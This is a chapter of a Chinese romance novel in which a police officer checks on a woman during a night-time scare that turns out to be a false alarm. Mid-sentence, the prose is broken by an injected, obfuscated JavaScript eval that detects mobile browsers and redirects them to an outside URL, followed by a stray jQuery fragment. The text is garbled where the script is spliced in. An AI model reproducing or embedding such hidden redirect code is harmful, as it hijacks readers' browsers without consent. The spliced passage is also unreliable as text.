邢弋不知道,是江宥一早早安顿好,他才可以随意进出,她还提前登记好了他的车牌号。 这些,她不愿意对他说起。 最近沅江出了这么大的事,这伙人什么时候能抓住还不知道。 凭借直觉和已有线索,邢弋肯定,他们很有可能不打算收手。 工作一结束,他就迫不及待要去找她,哪还有什么时间出去吃饭。 依旧例,他还是把车停到江宥一家楼下,给她打去了电话。 “邢弋?” 电话那头的声音依旧难掩兴奋,每回接到他的电话,她都是同样的反应。 “是我。” “怎么啦?” 她想着碰碰运气,就去了小阳台。 往下一瞧,他果然在。 她兴奋地冲他招手,转身就要奔下楼。 “你别下来了,我路过,说几句话就走。” “哦,你说吧,我听着。”她微耸起的肩膀又悄无声息塌陷。 “最近沅江市出了几起入室盗窃案,有人受伤,嫌疑人我们在找,你最近小心一点。不要太晚出门,记得关好门窗,不要随便给人开门,实在不行找朋友和你一起住。还有,如果晚上听到家里有声音,千万不要动,不要下楼,可以装睡,偷偷给我打电话。” 他一口气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036785|193215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘱咐了很多,把能想到的注意事项全部说完,生怕有遗漏。 江宥一乖乖听着,却不害怕,他的那句“给我打电话”,给了她很大力量。 “我一定会给你打电话的。” 邢弋看她笑得没心没肺,怀疑她只记住了最后一句。 “我走了。” “好,你吃饭了吗?不进来坐会儿吗?” 江宥一有些失望,她没想到,邢弋是真的说几句话就要走。 “不了,你早点睡。” “好。” 江宥一一直看着邢弋的车离开视线,仍站在阳台不肯离开。 他是在关心她,她感觉到了,所以高兴,甚至是受宠若惊。 她很听他的话,检查好了所有门窗,反锁了卧室门,才肯躺到床上。 江宥一胆子很小,晚上没能睡得踏实。 半夜,楼下一阵窸窸窣窣的声音将她吵醒。 她认真听了好久,一开始还在怀疑是不是自己疑神疑鬼,小题大做,也许只是窗外的风声。 不,很快,江宥一就确定,楼下有声音,断断续续的声响不断传来。 江宥一想起邢弋的话,不敢下楼求证,给邢弋打去了电话。 凌晨十二点,邢弋电话接得快,像是根本没睡。 “邢弋,我家好像有人进来了,我把卧室门反锁了,你能来一下吗?” 江宥一把自己蒙在被子里,说话声音压得极低。 “千万别出声,我马上到。” 江宥一感觉头皮阵阵发麻,自己家离邢弋家少说也得半小时路程。 万一真是那伙罪犯…… 她不敢往下细想,手心攥出了汗,甚至不敢大声呼吸。 邢弋赶到楼下,江宥一在家里,他不敢打草惊蛇。 奇怪的是,江宥一家门锁是好的,没有被人为破坏过的迹象。 邢弋不敢让她冒险下楼开门,直接翻到她家二楼卧室阳台。 “江宥一,我在阳台,开一下门。” 他给她发去了信息。 江宥一像是看到了守护神一般,从床下跳下来,连拖鞋都没来得及穿,小跑过去,给他开门。 她只穿了一件丝绸连衣裙睡衣,随着走动轻轻吸附在皮肤上,身材曲线尽显,裙摆刚好遮住大腿中段。 邢弋视线撞向她胸前时,不敢向下看,猛地别过头去。 他脸红了。 “穿件外套,站这里别动,我出去看看。” 江宥一知道他为什么害羞,只是现在情况紧急,不然,她还是要调侃他一番,虽然她也同样羞得不知所措。 她一直很好奇,邢弋工作的时候会是什么样子的。 今天她如愿见到了。 他目光凶狠锐利,不怒自威,看向她时又只剩温柔,面容冷峻,行动迅捷,但又会主动靠近她,轻声细语让她别怕。 “别动,警察。” 一片黑暗中,邢弋擒住一人。 只有一人…… 那人也不哭喊求饶,反而一味地质问。 “你是谁啊?” 好熟悉的声音。 江宥一从卧室出来,打开灯,客厅亮堂一片。 沙发前的空地上,邢弋正半蹲在地,身下压着一人。 “江椿?” “邢弋哥?” “你怎么在这儿?” 两人同时看清彼此,也同时发出质疑。 原来是虚惊一场。